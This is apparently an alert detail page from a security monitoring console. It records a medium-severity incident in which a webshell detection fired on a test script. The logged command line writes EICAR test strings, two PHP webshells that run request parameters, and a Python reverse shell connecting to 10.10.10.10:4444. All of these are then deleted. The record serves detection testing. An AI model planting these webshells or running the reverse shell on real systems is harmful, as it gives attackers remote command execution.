Back to list

Medium CINC-20251220-A6C36EB0 new

Aggregate ID: aggind:b4aeee57c4b841bc95cb853f0aca95e1:4358351916

Incident ID CINC-20251220-A6C36EB0

Severity Medium (70)

Status new

Alert Count 1

Host Count 1

First Seen 2025-12-13 17:52:22

Last Seen 2025-12-13 17:52:22

Duration 0d 0h 0m

Created 2025-12-20 13:23

Updated 2026-01-13 15:14

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...

Observed Tactics:

Techniques:

Severity	Status	Hostname	Description	Tactic	Command Line	Time
High	new	localhost.localdomain	A webshell has been detected on your host. It may provide adversaries a set of functions to execute or a command-line interface on the system. Please check the process tree to determine if malicious commands were executed or if this access was expected.	Persistence	bash -c # EICAR 테스트 파일 생성 echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' > /tmp/eicar.com echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' > /tmp/eicar.exe sleep 2 rm -f /tmp/eicar.* 2>/dev/null # PHP Webshell 생성 시도 echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php echo '<?php eval($_POST["code"]); ?>' > /tmp/eval.php sleep 2 rm -f /tmp/shell.php /tmp/eval.php 2>/dev/null # Python reverse shell 스크립트 생성 cat > /tmp/revshell.py << 'PY' import socket,subprocess,os s=socket.socket() s.connect(('10.10.10.10',4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) subprocess.call(['/bin/sh','-i']) PY sleep 2 rm -f /tmp/revshell.py 2>/dev/null echo 'File-based malware tests done'	12-13 17:52